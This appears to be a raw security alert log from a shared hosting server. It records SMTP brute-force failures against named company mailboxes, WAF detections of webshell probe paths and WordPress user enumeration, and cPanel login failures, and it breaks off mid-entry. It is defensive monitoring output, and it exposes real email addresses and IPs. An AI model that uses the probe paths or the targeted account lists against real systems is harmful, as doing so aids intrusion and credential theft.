abuser: 93.123.109.43
country_id: 732800
description:
2026-01-30 20:13:05 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:33856: 535 Incorrect authentication data (set_id=sales@kimmark.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.2.194.57
country_id: 2963597
description:
2026-01-30 20:13:07 dovecot_login authenticator failed for H=(ADMIN) [155.2.194.57]:16918: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.51.118.189
country_id: 3469034
description:
2026-01-30 20:13:12 dovecot_login authenticator failed for H=(189-51-118-65.rapeedo.net.br) [189.51.118.189]:45315: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:13:15 dovecot_login authenticator failed for H=(E99kdBE) [178.16.54.138]:53264: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.54
country_id: 1149361
description:
2026-01-30 20:14:45 dovecot_login authenticator failed for H=([149.54.62.54]) [149.54.62.54]:55561: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.30.212.99
country_id: 298795
description:
2026-01-30 20:14:43 dovecot_login authenticator failed for H=([176.30.212.99]) [176.30.212.99]:51444: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.205.250.78
country_id: 290557
description:
2026-01-30 20:14:57 dovecot_login authenticator failed for H=([94.205.250.78]) [94.205.250.78]:61451: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.166.105.133
country_id: 1814991
description:
2026-01-30 20:14:50 dovecot_login authenticator failed for H=([223.166.105.133]) [223.166.105.133]:53968: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.248.122
country_id: 1269750
description:
2026-01-30 20:14:56 dovecot_login authenticator failed for H=(nsg-corporate-122.248.185.122.airtel.in) [122.185.248.122]:48994: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:14:09 dovecot_login authenticator failed for H=(XlIBoXIYLq) [178.16.54.138]:49703: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:15:22 dovecot_login authenticator failed for H=(GWq4JPf4) [178.16.54.138]:53853: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.220.147
country_id: 3144096
description:
2026-01-30 20:15:03 dovecot_login authenticator failed for H=(cm-178.232.220.147.get.no) [178.232.220.147]:51046: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:16:19 dovecot_login authenticator failed for H=(sLPcomB) [178.16.54.138]:51907: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-30 20:16:56 dovecot_login authenticator failed for H=(xrtd) [107.173.177.133]:50086: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.90.7.40
country_id: 3469034
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/mpro.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.165
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/DisableClick.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.223
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/mckd.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:17:31 dovecot_login authenticator failed for H=(WYDSQd) [178.16.54.138]:52030: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/eco.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.236
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/stm31.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 20:18:12 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:50263: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.5.66
country_id: 2017370
description:
2026-01-30 20:18:53 dovecot_login authenticator failed for H=([213.234.5.66]) [213.234.5.66]:39556: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:18:06 dovecot_login authenticator failed for H=(Egb3o2uFl) [178.16.54.138]:53359: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.158
country_id: 1269750
description:
2026-01-30 20:19:03 dovecot_login authenticator failed for H=([152.52.238.138]) [59.145.160.158]:38968: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.177.175.182
country_id: 357994
description:
2026-01-30 20:19:29 dovecot_login authenticator failed for H=([41.65.118.172]) [154.177.175.182]:52476: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.158
country_id: 2750405
description:
2026-01-30 20:19:52 1041588 [Warning] Aborted connection 1041588 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.158' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.192.79.179
country_id: 3865483
description:
2026-01-30 20:19:06 dovecot_login authenticator failed for H=(pppoe-179.79.192.181.in-addr.arpa) [181.192.79.179]:40996: 535 Incorrect authentication data (set_id=rajanazrul)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:19:10 dovecot_login authenticator failed for H=(71P7OTqZ3) [178.16.54.138]:51146: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:19:36 dovecot_login authenticator failed for H=(xT2rKnb7) [178.16.54.138]:62399: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.52.9.162
country_id: 1814991
description:
2026-01-30 20:19:57 dovecot_login authenticator failed for H=([116.52.9.162]) [116.52.9.162]:46379: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.243
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/flaticon.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.178
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.3.9 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.233
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/type-writter.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 156.239.200.204
country_id: 6252001
domain: agpc.org.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.71||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.209
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/bootstrap.min.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.135.241.61
country_id: 1694008
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/mutiara-central/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.228
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/owl.carousel.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:20:15 dovecot_login authenticator failed for H=(Ycpg0g8rSU) [178.16.54.138]:57916: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment-child/style.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.230
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.210
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/font-awesome.min.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.232
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/responsive.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.158
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/default.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.133
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.147
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/slick.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.187
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/css/dist/block-library/style.min.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.244
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/style.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.174
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/fonts/Flaticon.woff HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.238
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/magnific-popup.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:21:55 dovecot_login authenticator failed for H=(bDlMAtbNO) [178.16.54.138]:65426: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.219.46.126
country_id: 1269750
description:
2026-01-30 20:22:52 dovecot_plain authenticator failed for H=(LE7AQH53ZALJ4) [103.219.46.126]:57415: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.154.210.108
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:22:03 dovecot_login authenticator failed for H=(skfQo6Uhl) [178.16.54.138]:54374: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.99.168.231
country_id: 6251999
description:
[2026-01-30 20:22:44 +0800] info [cpaneld] 192.99.168.231 - usfoodco "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfoodco (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:23:08 dovecot_login authenticator failed for H=(CT3SmoPfS) [178.16.54.138]:59825: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.199.161.144
country_id: 6252001
description:
2026-01-30 20:23:44 dovecot_plain authenticator failed for H=c-73-199-161-144.hsd1.nj.comcast.net (antrally) [73.199.161.144]:37406: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.51
country_id: 2921044
description:
2026-01-30 20:24:49 dovecot_plain authenticator failed for H=([178.16.52.51]) [178.16.52.51]:57866: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:24:13 dovecot_login authenticator failed for H=(V91lBON) [178.16.54.138]:61050: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/testimonial.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:24:52 dovecot_login authenticator failed for H=(33Uaw0JG) [178.16.54.138]:58984: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:25:22 dovecot_login authenticator failed for H=(SHGIBOepN) [178.16.54.138]:59989: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.137.250
country_id: 1269750
description:
2026-01-30 20:25:57 dovecot_login authenticator failed for H=([203.193.137.250]) [203.193.137.250]:56036: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.51
country_id: 2921044
description:
2026-01-30 20:25:02 dovecot_plain authenticator failed for H=([178.16.52.51]) [178.16.52.51]:59743: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/img/photos/index.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.107.158
country_id: 226074
description:
2026-01-30 20:25:38 dovecot_login authenticator failed for H=([196.0.107.158]) [196.0.107.158]:50653: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.36.41.213
country_id: 2017370
description:
2026-01-30 20:26:35 dovecot_login authenticator failed for H=([78.36.41.213]) [78.36.41.213]:58731: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:26:33 dovecot_login authenticator failed for H=(4rGQbC9c) [178.16.54.138]:60222: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.242.202.16
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=453297 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.98
country_id: 1269750
description:
2026-01-30 20:27:04 dovecot_login authenticator failed for H=([182.95.215.114]) [125.23.183.98]:41008: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:27:06 dovecot_login authenticator failed for H=(IfQMVb0gy) [178.16.54.138]:61296: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:28:06 dovecot_login authenticator failed for H=(EUKa79CL) [178.16.54.138]:52672: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.92.202
country_id: 1269750
description:
2026-01-30 20:28:09 dovecot_login authenticator failed for H=([125.17.215.121]) [27.123.92.202]:35434: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.86
country_id: 1269750
description:
2026-01-30 20:28:22 dovecot_login authenticator failed for H=([125.17.17.201]) [27.123.113.86]:38608: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.15.138
country_id: 1668284
description:
2026-01-30 20:28:05 dovecot_login authenticator failed for H=111-70-15-138.emome-ip.hinet.net [111.70.15.138]:55019: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:29:17 dovecot_login authenticator failed for H=(Ier5r2d) [178.16.54.138]:55886: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.135.28.205
country_id: 1733045
description:
[2026-01-30 20:30:10 +0800] info [webmaild] 115.135.28.205 - janice@smartcable.com.my "GET /cpsess3269646705/3rdparty/roundcube/?_task=mail&_frame=1&_mbox=INBOX&_uid=30522&_part=2&_action=get&_extwin=1 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [118.101.58.238] != Current IP Address [115.135.28.205]


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:30:15 dovecot_login authenticator failed for H=(0qCGwaaat) [178.16.54.138]:62982: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:30:33 dovecot_login authenticator failed for H=(nV6JtaqcC) [178.16.54.138]:59059: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.198.131.40
country_id: 6252001
description:
2026-01-30 20:30:07 dovecot_plain authenticator failed for H=([124.198.131.40]) [124.198.131.40]:51382: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:31:27 dovecot_login authenticator failed for H=(vhtCRe) [178.16.54.138]:54468: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:32:04 dovecot_login authenticator failed for H=(JWo2AEYt) [178.16.54.138]:62864: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:33:22 dovecot_login authenticator failed for H=(Y3g4ohM) [178.16.54.138]:61293: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.248
country_id: 1668284
description:
2026-01-30 20:33:48 dovecot_login authenticator failed for H=111-70-23-248.emome-ip.hinet.net [111.70.23.248]:52009: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.207.15.25
country_id: 1269750
description:
2026-01-30 20:34:43 dovecot_login authenticator failed for H=(49.207.15.25.actcorp.in) [49.207.15.25]:49625: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.225.188.50
country_id: 1269750
description:
2026-01-30 20:34:55 dovecot_plain authenticator failed for H=(T31NGXPI6836) [103.225.188.50]:62084: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:34:24 dovecot_login authenticator failed for H=(YSLGsd8W) [178.16.54.138]:50104: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.162.20
country_id: 1835841
description:
2026-01-30 20:34:08 dovecot_login authenticator failed for H=([1.241.162.20]) [1.241.162.20]:57086: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.227.63.227
country_id: 2921044
description:
2026-01-30 20:36:01 dovecot_plain authenticator failed for H=([212.227.63.227]) [212.227.63.227]:59145: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:35:29 dovecot_login authenticator failed for H=(dZsbR4kY) [178.16.54.138]:59582: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.8.143
country_id: 1668284
description:
2026-01-30 20:35:30 dovecot_login authenticator failed for H=111-70-8-143.emome-ip.hinet.net [111.70.8.143]:45263: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:35:46 dovecot_login authenticator failed for H=(uj22VEo2R) [178.16.54.138]:54778: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.226.118.0
country_id: 3469034
description:
2026-01-30 20:35:13 dovecot_login authenticator failed for H=([38.226.118.9]) [38.226.118.0]:33470: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:36:13 dovecot_login authenticator failed for H=(RBNOME) [178.16.54.138]:55303: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.227.63.227
country_id: 2921044
description:
2026-01-30 20:36:06 dovecot_plain authenticator failed for H=([212.227.63.227]) [212.227.63.227]:59184: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:37:09 dovecot_login authenticator failed for H=(GHg775Fw) [178.16.54.138]:62187: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.145
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-includes/css/dist/block-library/style.min.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
